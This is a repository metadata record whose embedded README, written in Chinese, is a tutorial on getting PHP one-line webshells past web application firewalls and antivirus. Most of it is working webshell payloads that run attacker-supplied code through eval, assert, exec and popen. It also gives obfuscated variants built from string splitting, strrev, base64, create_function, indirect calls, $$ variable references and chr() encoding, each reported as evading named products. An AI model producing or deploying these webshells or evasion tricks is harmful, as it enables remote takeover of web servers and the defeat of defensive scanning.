{"id":13777447,"url":"https://github.com/lcatro/php-webshell-bypass-waf","last_synced_at":"2025-05-11T11:33:35.746Z","repository":{"id":94690664,"uuid":"106492941","full_name":"lcatro/PHP-WebShell-Bypass-WAF","owner":"lcatro","description":"分享PHP WebShell 绕过WAF 的一些经验  Share some experience about PHP WebShell bypass WAF and Anti-AV","archived":false,"fork":false,"pushed_at":"2017-10-30T03:35:58.000Z","size":489,"stargazers_count":288,"open_issues_count":0,"forks_count":76,"subscribers_count":11,"default_branch":"master","last_synced_at":"2024-08-03T18:11:36.983Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/lcatro.png","metadata":{"files":{"readme":"readme.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2017-10-11T02:01:57.000Z","updated_at":"2024-07-14T03:18:38.000Z","dependencies_parsed_at":"2023-03-11T18:15:38.948Z","dependency_job_id":null,"html_url":"https://github.com/lcatro/PHP-WebShell-Bypass-WAF","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lcatro%2FPHP-WebShell-Bypass-WAF","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lcatro%2FPHP-WebShell-Bypass-WAF/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lcatro%2FPHP-WebShell-Bypass-WAF/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lcatro%2FPHP-WebShell-Bypass-WAF/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/lcatro","download_url":"https://codeload.github.com/lcatro/PHP-WebShell-Bypass-WAF/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225043129,"owners_count":17411932,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-03T18:00:43.482Z","updated_at":"2024-11-17T13:30:45.211Z","avatar_url":"https://github.com/lcatro.png","language":"PHP","funding_links":[],"categories":["\u003ca id=\"8c5a692b5d26527ef346687e047c5c21\"\u003e\u003c/a\u003e收集","\u003ca id=\"faa91844951d2c29b7b571c6e8a3eb54\"\u003e\u003c/a\u003e新添加"],"sub_categories":[],"readme":"\n### PHP-WebShell-Bypass-WAF\n\n  PHP WebShell 一句话的结构是:输入和执行,这是经典的PHP 一句话代码:\n\n```PHP\n    \u003c?php eval($_GET['test']); ?\u003e\n    \u003c?php eval($_POST['test']); ?\u003e\n```\n\nWebShell 的输入点在\u003cb\u003e$_GET\u003c/b\u003e 和\u003cb\u003e$_POST\u003c/b\u003e ,执行点在**eval()** ,经典的一句话WAF 都会拦截\u003cbr/\u003e\n\n  测试:`\u003c?php eval($_GET['test']); ?\u003e`\n\n![](pic/php-eval-get.png)\n\n  测试:`\u003c?php $_GET['test']; ?\u003e`\n\n![](pic/php-get.png)\n\n  测试:`\u003c?php eval(); ?\u003e`\n\n![](pic/php-eval.png)\n\n  综合上面三点,可以发现WAF 是通过关键字来拦截的,把这三个测试用例放到安全狗下测试\n\n![](pic/php-eval-get-safedog.png)\n\n  可以发现,安全狗是通过综合判断来识别WebShell 的,现在,我们有两种的绕过方式:关键字绕过和混淆绕过\n\n### 关键字绕过\n\n  一般来说,WAF 里边的拦截规则都是使用了正则来匹配的,第一个绕过思路:**寻找WAF 拦截里边有没有匹配的关键字**\u003cbr/\u003e\n  \n  测试用例:`\u003c?php%20assert('$code='.$_REQUEST['code']);$code();%20?\u003e`\n\n![](pic/tencent-WAF-assert-bypass.png)\n\n  测试用例:`\u003c?php%20$file=file_put_contents('code.php','\u003c?php%20'.$_REQUEST['code'].'%20?\u003e');include%20'code.php';%20?\u003e`\n\n![](pic/tencent-WAF-include-bypass.png)\n\n  测试用例:`\u003c?php%20exec($_REQUEST['code']);%20?\u003e`\n\n![](pic/tencent-WAF-exec-bypass.png)\n\n  测试用例:`\u003c?php%20$handle=popen($_REQUEST['code'],'r');echo%20fread($handle,1024*4);?\u003e`\n\n![](pic/tencent-WAF-popen-bypass.png)\n\n  测试用例:`\u003c?php%20$function=create_function('$code',strrev('lave').'('.strrev('TEG_$').'[\"code\"]);');$function();%20?\u003e`\n\n![](pic/tencent-WAF-create_function-bypass.png)\n\n  思路1 总结:尽可能找到更多不被拦截的函数,然后用来测试\n\n  后来,这些关键字都被策略补上去了,接下来就使用混淆来绕过关键字检测\n\n### 混淆绕过\n\n  `create_function()` 是比较有意思的函数,函数的原型为:[Link](http://php.net/manual/en/function.create-function.php)\n  \n```PHP\n    string create_function ( string $args , string $code )\n```\n\n  第一个参数是函数需要的参数列表,第二个参数为函数代码,最后会返回一个函数对象,然后再去调用.在构造代码的时候(构造第二个参数)可以有很多不同的混淆方法\n  \n```PHP\n    eval($_GET['test']);\n```\n  \n  通过很多不同种类的字符串变化成下面的例子\n  \n```PHP\n    'ev'.'al'.'($_G'.'ET['.'\"test\"]);'\n    strrev('$(lave').'_G'.'ET['.'\"test\"]);';\n    base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs=');\n```\n\n  这样的变化是非常多的,用云WAF 和安全狗测试一下:\n\n```PHP\n    \u003c?php $function=create_function('$code','ev'.'al'.'($_G'.'ET['.'\"test\"]);') ?\u003e\n    \u003c?php $function=create_function('$code',strrev('$(lave').'($_G'.'ET['.'\"test\"]);') ?\u003e\n    \u003c?php $function=create_function('$code',base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs=')) ?\u003e\n```\n\n![](pic/create_function_tencent-WAF.png)\n\n![](pic/create_function_safedog.png)\n\n  腾讯云WAF 的策略是把`create_function()` 当作敏感函数拦截了,这三个WebShell 安全狗也都全部杀掉,先从安全狗开始尝试绕过.\n  \n  首先使用一个空的`create_function()` 尝试看看安全狗有没有杀掉\n\n![](pic/create_function_safedog_nokill.png)\n\n  向`create_function()` 填充一些可以执行的代码,安全狗也没有杀.\n\n![](pic/create_function_safedog_nokill2.png)\n\n  填充`eval($_GET['test'])` ,发现安全狗识别出WebShell\n  \n![](pic/create_function_safedog_kill.png)\n\n  使用混淆`'ev'.'al'.'($_G'.'ET['.'\"code\"'.']);'` 也同样可以被识别\n\n![](pic/create_function_safedog_kill2.png)\n\n  使用`strrev('ve').strrev('la').base64_decode('KCRfR0VUWw==').'\"code\"'.']);';` 也还是可以别识别\n\n![](pic/create_function_safedog_kill3.png)\n\n  不过不要灰心,PHP 是很灵活的语言,变化的花样很多,试试这样写,就可以绕过安全狗的扫描了\n\n![](pic/create_function_safedog_kill4.png)\n\n  做一句话WAF 绕过和免杀,一定要相信自己,AV 和WAF 除了用关键字和综合判断来识别WebShell ,终会有办法绕过的.现在过狗,接下来介绍一下间接调用函数与间接引用变量.\n\n### 间接调用函数\n\n  PHP 里边有个语法是`$function='eval';` ,然后就可以直接对$function 变量进行函数调用,语法是`$function()`.基于这一点,我们回过头来绕过云WAF\n\nPayload:\n\n```PHP\n    \u003c?php $function='create'.'_function';$function=$function('$code','ev'.'al'.'($_'.'GET'.'[\"code\"]);');$function();?\u003e\n```\n\n![](pic/tencent-WAF-create_function-bypass-remix.png)\n\n### 间接调用变量\n\n  PHP 还有一个语法是`$$` 间接引用变量,比如:`$test=1234;$reference='test';echo $$reference;` 这样使用,reference 变量里边保存test 变量的名字,然后用符号$$ 即可引用到变量test .这样有什么意义呢?因为WAF 和AV 会通过$_GET ,$_POST 来判断WebShell ,不妨回到云WAF 再看看\n\n![](pic/tencent-WAF-$_GET.png)\n\n  使用`$$` 来绕过,Payload 如下:\n\n```PHP\n    \u003c?php $a = '_GET';echo $$a['test'];  //  云WAF 规则已经更新,\u003c?php ?\u003e 会被拦截,所以去掉?\u003e 即可绕过,由此判断是正则匹配,可以开开脑洞发挥一下绕过正则判断\n```\n\n![](pic/tencent-WAF-$_GET-bypass.png)\n\n  这样就可以绕过对$_GET ,$_POST 的检测,同样,还有$_REQUESTS ,$_COOKIE \n\n![](pic/tencent-WAF-$_COOKIE-bypass.png)\n\n### 文末总结\n\n  到了这里,举一些不错的一句话木马来分析一下原理,推荐深入研究的读者访问这里[Link](https://github.com/tennc/webshell/tree/master/php)\n\n1.\n\n```PHP\n    \u003c?php array_map(\"ass\\x65rt\",(array)$_REQUEST['expdoor']);?\u003e\n```\n\n  这个WebShell 使用到`array_map()` 和`ass\\x65rt` ,array_map() 是调用函数的,第一个参数是即将要调用的函数名,这里`ass\\x65rt` 使用了编码绕过,绕过了字符串判断,第二个参数是传递给这个函数的参数\n\n2.\n\n```PHP\n    \u003c?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF(\"\",$_cC);@$_();?\u003e\n\n```\n  这个WebShell 使用到了间接引用函数,$_uU 重定向到chr() ,;$_cC 最后解码为`eval($_POST[1]);` ,$_fF 解码为`create_function` ,最后就是create_function 的调用过程,和php-shell-create_function.php 原理一样\n\n3.\n\n  未知攻,焉知防,这个是关于PHP Shell 的一句话检测脚本[Link](https://github.com/tennc/webshell/blob/master/php/pHp%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%89%AB%E6%8F%8F%E8%84%9A%E6%9C%AC%E7%A8%8B%E5%BA%8F.php),很多绕过的思路都是在做防御的时候想到的,没有绝对的防御,甚至是看起来正确的思路在代码实现的过程中会存在Bug 导致分析或者识别失败.\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flcatro%2Fphp-webshell-bypass-waf","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Flcatro%2Fphp-webshell-bypass-waf","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flcatro%2Fphp-webshell-bypass-waf/lists"}